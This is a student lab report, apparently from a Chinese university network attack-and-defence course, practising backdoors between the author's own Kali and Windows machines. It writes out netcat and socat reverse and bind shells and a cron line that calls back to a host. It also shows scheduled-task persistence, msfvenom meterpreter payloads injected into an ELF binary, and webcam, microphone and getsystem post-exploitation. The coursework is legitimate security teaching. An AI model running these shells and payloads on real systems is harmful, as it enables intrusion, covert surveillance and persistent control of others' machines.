20242312 2026-2027-1 《网络与系统攻防技术》实验2实验报告
20242312 2026-2027-1 《网络与系统攻防技术》实验2实验报告
实验名称:后门原理与实践
1.基础知识
后门(Backdoor)指的是绕过正常认证、能长期、隐蔽地控制目标主机的一类程序或功能。它和我们常说的木马本质上是一回事:木马是"人",后门是"人进来的那扇暗门"。这次实验做的所有事情,本质都是在自己的两台机器之间,用不同的工具和方法,反复实现从 A 机拿到 B 机的 Shell。
(1)Shell 与反弹 Shell
Shell 就是命令解释器(Linux 的 /bin/sh、/bin/bash,Windows 的 cmd.exe)。
- 正向连接(Bind Shell):目标机监听端口,攻击机主动连过去。缺点是目标机在防火墙/NAT 后面时连不上。
- 反向连接(Reverse Shell,反弹 Shell):目标机主动连回攻击机,攻击机监听端口。这样即使目标机在 NAT 后面也没关系。本实验中
nc 目标IP 端口 -e /bin/sh、meterpreter 的reverse_tcp,走的都是这条思路,也是实际攻击里最常用的一种。
(2)netcat 与 socat
netcat(简称 nc)被称为"网络瑞士军刀",能把 TCP/UDP 连接的标准输入输出直接对接起来,因此既可以当听筒,也可以当话筒,配合 -e 参数还能直接绑定一个 shell。socat 可以看成 nc 的加强版,支持更丰富的地址类型(文件、管道、伪终端 pty 等)。
(3)计划任务:Linux 的 cron 与 Windows 的 schtasks
后门要保证"重启后还在、隔一段时间就回来",最朴素的办法就是挂计划任务。
- Linux:
cron是周期性执行任务的守护进程,crontab -e编辑任务,格式为分 时 日 月 周 命令,*表示任意值。 - Windows:
schtasks命令对应图形界面的"任务计划程序",可以设置触发条件(按分钟、按登录、按开机等)和执行的程序。
(4)Metasploit 框架
Metasploit(MSF)是目前最主流的渗透测试框架。本次用到的几块:
msfvenom:用来生成 payload,比如生成一个 Windows 的可执行后门、或者一段 shellcode。msfconsole:交互式控制台,配合exploit/multi/handler监听并接收反弹回来的连接。meterpreter:一种高级的、运行在内存中的 payload,拿到会话后可以执行文件操作、提权、录音、拍照、键盘记录等一整套后渗透操作。shellcode与注入:shellcode 是纯机器码形式的一段载荷,可以把它"塞进"另一个正常程序的入口,借别人的壳运行,从而完成反弹连接,这也是后面任务五注入 pwn1 的原理。
(5)后门与免杀
后门要真正生效,还得先过杀毒软件这一关。MSF 自带的 msfvenom 生成的裸 payload 特征明显,很容易被杀软查杀,因此实际中还会用编码器、加壳、混淆等手段做免杀。
2.实验内容
本次实验共 5 个任务,围绕"后门"这一主题逐层展开:
- 用 netcat 获取主机操作 Shell,并用 Linux 的 cron 启动一个自定任务;
- 用 socat 获取主机操作 Shell,并用 Windows 的任务计划启动;
- 用 MSF meterpreter 生成可执行后门文件,用 ncat 传到目标主机并运行,获取 Shell;
- 用 meterpreter 后门获取目标主机的音频、摄像头、击键记录等内容,并尝试提权;
- 用 MSF 生成 shellcode,注入到实践一的 pwn1 中,获取反弹连接 Shell。
实验环境
| 角色 | 系统 | 主机名 | IP |
|---|---|---|---|
| Kali(Linux) | Kali Linux 2026.2 虚拟机 | zhouzihao | 192.168.64.128 |
| Windows 主机 | Windows 11(本机) | DESKTOP-L4J95J5 | 172.16.179.91 |
工具:netcat(nc64.exe / nc)、socat、Metasploit Framework v6.4.135-dev、msfvenom、msfconsole。
3.实验过程
任务一:netcat 获取主机 Shell + cron 启动自定任务
第一步:关闭防火墙与实时保护。 为了让后门的连接不被拦截,先把 Windows 的防火墙关掉,再把 Defender 的实时保护关闭。


第二步:查看本机 IP。 用 ipconfig 查看本机地址,Windows 主机 IP 为 172.16.179.91。

第三步:Windows 端用 netcat 开始监听。 在管理员 PowerShell 里进入 netcat 目录,监听 2409 端口:
./nc64.exe -l -p 2409
其中 -l 表示 listen(监听),-p 指定端口。

第四步:确认端口确实在监听。
netstat -an | findstr "2409"
Q:
netstat -an | findstr "2409"的含义?
netstat用来查看网络连接状态;-a显示所有连接和监听端口,-n以数字形式显示 IP 和端口(不做域名解析);|是管道,把结果交给findstr "2409"过滤,只留下包含 2409 的行。截图结果TCP 0.0.0.0:2409 0.0.0.0:0 LISTENING说明本机 2409 端口已成功进入监听状态,等着被连接。

第五步:在 Kali 上切换为 root。
sudo -i
Q:
sudo -i的含义?
sudo用来以其他用户(默认 root)身份执行命令;-i表示加载目标用户的登录环境,启动一个交互式登录 Shell。执行后提示符从kali@zhouzihao变为root@zhouzihao,后续操作就具备最高权限了。

第六步:Kali 反向连接 Windows,获取 Shell。
nc 172.16.179.91 2409 -e /bin/sh
Q:这条命令的含义?
Kali 主动连接到 Windows 的 2409 端口;-e /bin/sh表示连接建立后,把本机(Kali)的/bin/sh绑定到这个网络连接上。这样一来,Windows 端的 netcat 就成了一个"遥控器",它输入的命令会在 Kali 上执行,输出再回送回来。这就是典型的反向 Shell。

第七步:验证控制权。 在 Windows 端依次输入 ls、pwd、id、whoami,可以看到命令在 Kali 上被执行,返回 /root、uid=0(root)、root,说明已经以 root 身份控制了 Kali 主机。

第八步:用 cron 设置自定任务。 先体验后门持久化的经典写法——在 Kali 上用 crontab -e 编辑计划任务:
crontab -e
首次使用会让选择编辑器,这里选 2(vim.basic)。

编辑内容如下(每小时的 50 分,自动用 netcat 连回指定主机并交出 shell,这是后门靠 cron 长期驻留的写法):
50 * * * * /bin/netcat 192.168.3.13 2409 -e /bin/sh
用 crontab -l 可以查看已设置的任务。


第九步:查看 cron 任务文件。 以 root 身份打开 /var/spool/cron/,可以看到 root 用户对应的 cron 文件 /var/spool/cron/crontabs/root,里面就保存着刚才写入的计划任务——这也说明 cron 任务是以文件形式持久化在磁盘上的。


第十步:换一个更直观的自定任务并验证。 通过 netcat 再次连接(2312 端口)拿到 Kali 的 shell 后:
crontab -r 2>/dev/null
echo "18 * * * * echo '20242312' > /home/kali/zhouzihao/tempfile/20242312.txt" | crontab -
crontab -l
第一条清空旧任务,第二条用管道把"每小时第 18 分把学号写入指定文件"的任务写进 crontab,第三条确认写入成功。
Q1:第二条命令意思是?
echo "...任务内容..." | crontab -表示把 echo 输出的这一行文本通过管道交给 crontab,-表示从标准输入读取任务内容并覆盖写入当前用户的计划任务表。这是一种不用打开编辑器、批量设置 cron 任务的常用写法。
Q2:这里为啥有两个echo,分别是什么意思?
第一个echo是产出 1 行配置文本,将管道符前面的引号内容写进crontab中。第二个echo是输出学号,“>”是重定向,是把输出内容写进后续的文件中。


等待到第 18 分后,在 /home/kali/zhouzihao/tempfile/ 目录下出现了文件 20242312.txt,打开内容正是 20242312,说明 cron 任务按时触发了。


任务一完成。b( ̄▽ ̄)d 。
任务二:socat 获取主机 Shell + 任务计划启动
第一步:Windows 端用 socat 监听并把 cmd 暴露出去。
./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
Q:这一步的作用?
socat在这里扮演"网络—本地程序"的桥梁:tcp-listen:8888表示监听 8888 端口;exec:cmd.exe表示一旦有人连进来,就把对方的输入输出接到本机 cmd.exe 上;pty,stderr表示为 cmd 分配一个伪终端并同时接住错误输出,这样交互体验更接近真实命令行。简单说,就是把 Windows 的 cmd 通过 8888 端口挂到网络上。

第二步:Kali 端用 socat 连接过去,拿到 Windows 的 cmd。
socat - tcp:172.16.179.91:8888
结果直接弹出了 Windows 的命令行(Microsoft Windows [版本 10.0.26200.9457],提示符 D:\app\socat>),说明已经登上了主机的 cmd。

第三步:用 Windows 任务计划实现自启动。 通过上面拿到的 cmd,创建一条每分钟执行一次的计划任务:
schtasks /create /sc minute /mo 1 /tn "20242312zzh" /tr "D:\Administrator\Documents\网络攻防\实验2\20242312.exe"
/sc minute /mo 1 表示按分钟、每 1 分钟触发一次,/tn 是任务名,/tr 是要运行的程序。

第四步:验证任务已创建。 打开"计算机管理 → 系统工具 → 任务计划程序 → 任务计划程序库",可以看到名为 20242312zzh 的任务,触发器显示"在 2026/10/12 的 11:35 时 - 触发后,无限期地每隔 00:01:00 重复一次"。

任务二完成。b( ̄▽ ̄)d 。
任务三:MSF meterpreter 生成后门并获取主机 Shell
第一步:用 msfvenom 生成 Windows 后门程序。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -f exe > backdoor20242312.exe
-p 指定 payload 为 Windows 的反向 meterpreter,LHOST 是回连地址(Kali 的 IP),LPORT 是回连端口,-f exe 指定输出为 exe 格式。生成结果为 7168 字节。

第二步:用 ncat 把后门文件传送到 Windows。 先在 Windows 端监听并接收文件:
./nc.exe -l -p 410 > "D:\backdoor20242312.exe"

再在 Kali 端把文件发送过去:
nc 172.16.179.91 410 < backdoor20242312.exe


第三步:校验文件是否完整。 传输后两边分别计算哈希值,发现不一致(先在 PowerShell 里校验时对不上),于是改用 cmd 重新接收,最终文件大小正确,可正常运行。


第四步:用 msfconsole 配置监听。
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.64.128
msf exploit(multi/handler) > set LPORT 8888
msf exploit(multi/handler) > exploit


第五步:在 Windows 上运行后门,反弹连接。

一开始运行 .\backdoor20242312.exe 后,用 netstat -ano | findstr 8888 只能看到 SYN_SENT(说明后门确实在尝试外连,但一直连不上),监听端也没有会话建立。

监听端这边也能看到 handler 的绑定情况,如果 LHOST 与实际地址不一致,就会出现绑定失败、会话起不来的现象:

问题排查: 后来检查网络配置,发现是最开始的 LHOST 填错了。改成正确的 Kali 地址重新生成即可:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -f exe > backdoor20242312.exe

重新传送并运行后,msfconsole 成功收到会话:Meterpreter session 1 opened (192.168.64.128:8888 → 192.168.64.128:48204),用 dir 可以看到目标主机的 D 盘目录。


任务三完成。b( ̄▽ ̄)d 。
任务四:获取音频、摄像头、击键记录并提权
拿到 meterpreter 会话后,就可以做各种"后渗透"操作。本次通过会话抓取了目标主机的摄像头画面和麦克风录音,抓取到的图片(.jpeg)和音频(.wav)被保存到了 Kali 的 /home/kali 目录下。


随后进行提权。先用 getuid 查看当前权限,显示为 DESKTOP-L4J95J5\Administrator:
执行 getsystem(meterpreter 自带的提权模块),提示 got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)),再次 getuid 已变成 NT AUTHORITY\SYSTEM,提权成功,拿到了系统最高权限。


任务四完成。b( ̄▽ ̄)d 。
任务五:MSF 生成 shellcode 注入 pwn1,获取反弹连接 Shell
第一步:准备干净的 pwn1。 为确保实践一的 pwn1 文件没有被污染,从共享文件夹中取用干净的 clean_pwn,并使用 msfvenom 的 -x 参数把 shellcode 注入到它里面:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=8888 -x /home/kali/pwnlab_20242312/clean_pwn -k -f elf -o 20242312_pwn1012
-x 指定要注入的可执行文件模板,-k 表示保留原程序的正常功能(shellcode 作为附加载荷运行),-f elf 指定 Linux 可执行文件格式。(ELF——Executable and Linkable Format, 是一种用于可执行文件、目标文件和共享库的文件格式,常用于linux)
第一次生成时发现输出的文件只有 123 字节,明显不对,运行后也只报 j: not found、Syntax error: Unterminated quoted string 之类的错误。

第二步:定位并修复问题。 查询资料后发现是 Metasploit 工具本身更新引入的 bug,位于 /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb:原函数在替换入口点后缺少返回值,导致 msfvenom 输出的是裸 payload 而不是打好补丁后的 elf。手动补上返回值后问题解决。
sudo vim /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb


第三步:重新生成并赋予执行权限。 修复后重新生成,输出 Final size of elf file: 7418 bytes,大小正常;再给它加上可执行权限:
sudo chmod a+x 20242312_pwn1012

补充:由于
clean_pwn放在 VMware 共享文件夹里,需要先确认共享目录可见(ls /mnt/hgfs/),若为空可用sudo vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other挂载。
第四步:msfconsole 监听并运行,拿到反弹 Shell。 配置好 exploit/multi/handler(payload 为 linux/x86/meterpreter/reverse_tcp,LHOST=192.168.64.128,LPORT=8888)后,运行注入后的程序:
./20242312_pwn1012
msfconsole 成功收到会话:Meterpreter session 1 opened (192.168.64.128:8888 → 192.168.64.128:48204),用 dir 可以看到 Kali 的 /home/kali 目录内容,说明 shellcode 注入 pwn1 并获得反弹连接成功。

攻击成功,任务全部完成。b( ̄▽ ̄)d。
4.问题及解决方案
-
问题1:任务三中在 Windows 上运行后门
backdoor20242312.exe后,netstat -ano | findstr 8888只显示SYN_SENT,msfconsole 监听端始终收不到会话。 -
问题1解决方案:用
ipconfig和ifconfig重新核对两端网络,发现是生成 payload 时LHOST填错了地址。把LHOST改成 Kali 真实的连接地址(192.168.64.128)后重新生成、重新传送、重新运行,会话立刻建立成功。教训:反弹 shell 要成功,LHOST 必须指向监听端真正可达的 IP,生成前一定要先确认网络。 -
问题2:任务五中用
msfvenom -x clean_pwn生成注入后的文件时,输出只有 123 字节(正常应约 7KB),运行时报j: not found、Syntax error: Unterminated quoted string。 -
问题2解决方案:查询资料后确认是 Metasploit 更新引入的 bug,出在
/usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb——入口点替换函数缺少返回值,导致输出的不是打好补丁的 elf 而是裸 payload。手动补上函数返回值后重新生成,文件大小恢复为 7418 字节,运行正常。教训:工具本身也可能有 bug,遇到反常现象,要从工具源码层面去找原因,而不是一味怀疑自己的命令。 -
问题3:用 netcat 传输后门文件时,在 PowerShell 里两边计算的哈希值对不上,怀疑文件损坏。
-
问题3解决方案:改用 cmd 的 netcat 重新接收文件,并核对文件大小恢复正常。原因是 PowerShell 的重定向/编码方式与 nc 的二进制传输配合时容易出问题,换成 cmd 后一切正常。
-
问题4:
ls /mnt/hgfs/没有输出,无法从共享文件夹里取用干净的 pwn1。 -
问题4解决方案:VMware 共享文件夹没有自动挂载,执行
sudo vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other手动挂载后即可正常访问。
5.学习感悟、思考等
这次实验最大的感受是:在一些意想不到的地方卡了——LHOST 填错导致会话起不来、msfvenom 因为工具 bug 生成的 elf 根本跑不起来、nc 传文件哈希值对不上……但也让我收获了不少:powershell和cmd在执行相同的命令结果不一定相同、工具源码也可能出错。
其次是对后门的理解具体了很多。现在知道它就是"一串能拿到 shell 的连接方式 + 一套能长期活着的手段":nc -e /bin/sh 是一次性的入口,cron 和 schtasks 是让入口反复重开的机制,而 meterpreter 则更进一步——能拍照、录音、记录键盘、还能 getsystem 一步提权到 SYSTEM。
最后又熟悉了一个linux常用命令——">"。它是重定向的意思,这回记牢了。
回答问题:
(1)后门进入系统的可能方式(能想到的):
- 钓鱼邮件 / 恶意附件:伪装成简历、发票的文档或 exe,诱导点击运行。
- 捆绑软件:破解补丁、外挂、盗版工具里夹带后门,安装即中招。
- 远程漏洞利用:利用系统或第三方软件的漏洞(如 MS17-010 永恒之蓝)远程植入。
- 弱口令爆破:远程桌面、SSH 弱口令被破解后直接上传后门。
- 移动介质:U 盘、网盘、共享文件夹等带入。
- 供应链攻击:正规软件的更新包或开源依赖库被篡改,被动中招。
- 网页挂马 / 水坑攻击:访问被挂马的网站时被静默植入。
(2)后门在 Windows 和 Linux 上的启动方式:
- Linux:
cron/crontab计划任务(本次实验用的就是它);systemd服务;/etc/rc.local、/etc/init.d开机启动;/etc/profile、~/.bashrc、~/.bash_profile等用户登录时执行;LD_PRELOAD劫持动态库;别名或 PATH 劫持。 - Windows:
schtasks任务计划(本次实验用到);注册表Run/RunOnce自启动项;"启动"文件夹;注册为系统服务(sc create);Winlogon的 Shell / Userinit 替换;映像劫持(IFEO);WMI 事件订阅;COM 组件劫持。
(3)Meterpreter 让我印象深刻的功能:
getsystem提权:一条命令就从管理员拿到NT AUTHORITY\SYSTEM。webcam_snap/record_mic:直接调用目标机摄像头拍照、麦克风录音,隐私风险极大。keyscan_start/keyscan_dump:后台记录键盘输入,能直接拿到密码等敏感内容。migrate进程迁移:把会话迁移到稳定进程里,目标程序关闭也不掉线。
(4)如何发现系统是否被安装后门:
- 看网络:
netstat -an/ss -tunlp关注异常的外联连接和陌生的监听端口(Windows 可netstat -ano结合tasklist定位进程)。 - 看计划任务:Linux 查
crontab -l、/etc/cron.*;Windows 查schtasks /query和"任务计划程序"。 - 看自启动项:Windows 查注册表
Run键、启动文件夹、服务;Linux 查rc.local、systemd、init.d、.bashrc。 - 看进程与文件:
ps/ 任务管理器里找陌生、无签名的进程;留意最近被修改的文件和临时目录。 - 看账号与日志:检查是否有陌生账户、异常提权;分析
/var/log、Windows 事件日志中的登录记录。 - 工具查杀:用杀毒软件 / EDR 全盘扫描,或用
chkrootkit、rkhunter等专门检测 rootkit,并做文件完整性校验。

浙公网安备 33010602011771号